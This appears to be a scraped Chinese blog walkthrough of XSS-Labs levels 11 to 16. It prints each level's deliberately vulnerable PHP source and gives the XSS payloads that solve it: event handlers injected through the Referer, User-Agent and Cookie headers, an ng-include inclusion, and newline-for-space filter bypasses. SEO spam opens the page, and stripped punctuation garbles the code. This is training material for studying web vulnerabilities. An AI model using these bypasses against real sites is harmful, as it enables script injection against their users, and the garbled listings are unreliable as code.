重庆网站建设方案书,f型网站,免费外域网域名,网站优化+山东君衍. 一、第十一关 referer参数注入二、第十二关 user-agent参数注入三、第十三关 cookie参数绕过四、第十五关 ng-include文件包含五、第十六关 回车代替空格 点击跳转#xff1a; XSS-Labs靶场“1-5”关通关教程 XSS-Labs靶场“6-10”关通关教程
一、第十一关 referer参数… 君衍. 一、第十一关 referer参数注入二、第十二关 user-agent参数注入三、第十三关 cookie参数绕过四、第十五关 ng-include文件包含五、第十六关 回车代替空格 点击跳转 XSS-Labs靶场“1-5”关通关教程 XSS-Labs靶场“6-10”关通关教程
一、第十一关 referer参数注入
这里我们猜测依旧是隐藏参数的话使用t_sort进行传参 我们可以看到这里依旧是无法完成绕过的所以我们猜测可能进行过滤所以查看源码
!DOCTYPE html!--STATUS OK--html
head
meta http-equivcontent-type contenttext/html;charsetutf-8
script
window.alert function()
{
confirm(完成的不错);window.location.hreflevel12.php?keywordgood job!;
}
/script
title欢迎来到level11/title
/head
body
h1 aligncenter欢迎来到level11/h1
?php
ini_set(display_errors, 0);
$str $_GET[keyword];
$str00 $_GET[t_sort];
$str11$_SERVER[HTTP_REFERER];
$str22str_replace(,,$str11);
$str33str_replace(,,$str22);
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form idsearch
input namet_link value. typehidden
input namet_history value. typehidden
input namet_sort value.htmlspecialchars($str00). typehidden
input namet_ref value.$str33. typehidden
/form
/center;
?
centerimg srclevel11.png/center
?php
echo h3 aligncenterpayload的长度:.strlen($str)./h3;
?
/body
/html这里我们即可看到隐藏参数并不是t_sortt_sort参数进行了过滤。所以这里是t_ref所以我们可以使用HTTP头中的referer参数进行注入。 可以使用hackbar扩展工具进行传参首先导入同时我们还可以使用Burp来抓包改包使用hackbar方便一点。 直接写入参数
οnclickalert(1) typetext查看源码 可以看到这里已经完成了绕过所以我们点击即可完成触发
二、第十二关 user-agent参数注入
本关我们直接分析源码查看注入点
!DOCTYPE html!--STATUS OK--html
head
meta http-equivcontent-type contenttext/html;charsetutf-8
script
window.alert function()
{
confirm(完成的不错);window.location.hreflevel13.php?keywordgood job!;
}
/script
title欢迎来到level12/title
/head
body
h1 aligncenter欢迎来到level12/h1
?php
ini_set(display_errors, 0);
$str $_GET[keyword];
$str00 $_GET[t_sort];
$str11$_SERVER[HTTP_USER_AGENT];
$str22str_replace(,,$str11);
$str33str_replace(,,$str22);
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form idsearch
input namet_link value. typehidden
input namet_history value. typehidden
input namet_sort value.htmlspecialchars($str00). typehidden
input namet_ua value.$str33. typehidden
/form
/center;
?
centerimg srclevel12.png/center
?php
echo h3 aligncenterpayload的长度:.strlen($str)./h3;
?
/body
/html可以看到本关和上一关差不多这里使用user-agent参数罢了所以我们直接上payload
οnclickalert(1) typetext点击即可完成触发
三、第十三关 cookie参数绕过
同样的本关直接查看源码
!DOCTYPE html!--STATUS OK--html
head
meta http-equivcontent-type contenttext/html;charsetutf-8
script
window.alert function()
{
confirm(完成的不错);window.location.hreflevel14.php;
}
/script
title欢迎来到level13/title
/head
body
h1 aligncenter欢迎来到level13/h1
?php
setcookie(user, call me maybe?, time()3600);
ini_set(display_errors, 0);
$str $_GET[keyword];
$str00 $_GET[t_sort];
$str11$_COOKIE[user];
$str22str_replace(,,$str11);
$str33str_replace(,,$str22);
echo h2 aligncenter没有找到和.htmlspecialchars($str).相关的结果./h2.center
form idsearch
input namet_link value. typehidden
input namet_history value. typehidden
input namet_sort value.htmlspecialchars($str00). typehidden
input namet_cook value.$str33. typehidden
/form
/center;
?
centerimg srclevel13.png/center
?php
echo h3 aligncenterpayload的长度:.strlen($str)./h3;
?
/body
/html从源码中可以看到依旧是采用cookie可以完成注入
userοnclickalert(1) typetext点击即可完成触发 十四关由于文件地址失效无法完成测试
四、第十五关 ng-include文件包含
本关从界面查看没有什么信息只会看到一个可疑的注释掉的ng-include 所以单从一个ng-include还不能判断如何使用查看源码
html ng-app
headmeta charsetutf-8script srcangular.min.js/script
script
window.alert function()
{
confirm(完成的不错);window.location.hreflevel16.php?keywordtest;
}
/script
title欢迎来到level15/title
/head
h1 aligncenter欢迎来到第15关自己想个办法走出去吧/h1
p aligncenterimg srclevel15.png/p
?php
ini_set(display_errors, 0);
$str $_GET[src];
echo bodyspan classng-include:.htmlspecialchars($str)./span/body;
?所以我们将利用ng-include来包含外部的html文件使用引号来引用。
?src./level1.php可以看到这里成功引入第一关同时这里需要注意路径。 以及保留了第一关的漏洞所以我们可以利用第一关的弹窗完成XSS注入 这个payload很多种这里只列举几种
?src./level1.php?nameimg src1 οnclickalert(1)点击即可完成触发。
五、第十六关 回车代替空格
首先本关依旧是测试使用:
scriptalert(1)/script我们可以看到进行了过滤所以我们查看源码
!DOCTYPE html!--STATUS OK--html
head
meta http-equivcontent-type contenttext/html;charsetutf-8
script
window.alert function()
{
confirm(完成的不错);window.location.hreflevel17.php?arg01aarg02b;
}
/script
title欢迎来到level16/title
/head
body
h1 aligncenter欢迎来到level16/h1
?php
ini_set(display_errors, 0);
$str strtolower($_GET[keyword]);
$str2str_replace(script,nbsp;,$str);
$str3str_replace( ,nbsp;,$str2);
$str4str_replace(/,nbsp;,$str3);
$str5str_replace( ,nbsp;,$str4);
echo center.$str5./center;
?
centerimg srclevel16.png/center
?php
echo h3 aligncenterpayload的长度:.strlen($str5)./h3;
?
/body
/html首先接受一个名为 “keyword” 的GET参数。然后它会将接收到的参数值转换为小写并进行一系列的字符串替换操作。具体来说它将参数值中的 “script” 字符串替换为空格然后将空格替换为 将斜杠 “/” 替换为 将制表符 替换为空格。接着它会在页面中心显示经过替换后的参数值并在页面底部显示一个名为 “level16.png” 的图像。 所以这里我们可以使用回车代替空格回车url编码为%0a
p%0Aonclickalert(1)aaa我们可以看到这里已经完成了绕过点击即可触发
img%0Asrc1%0Aonerroralert(1)
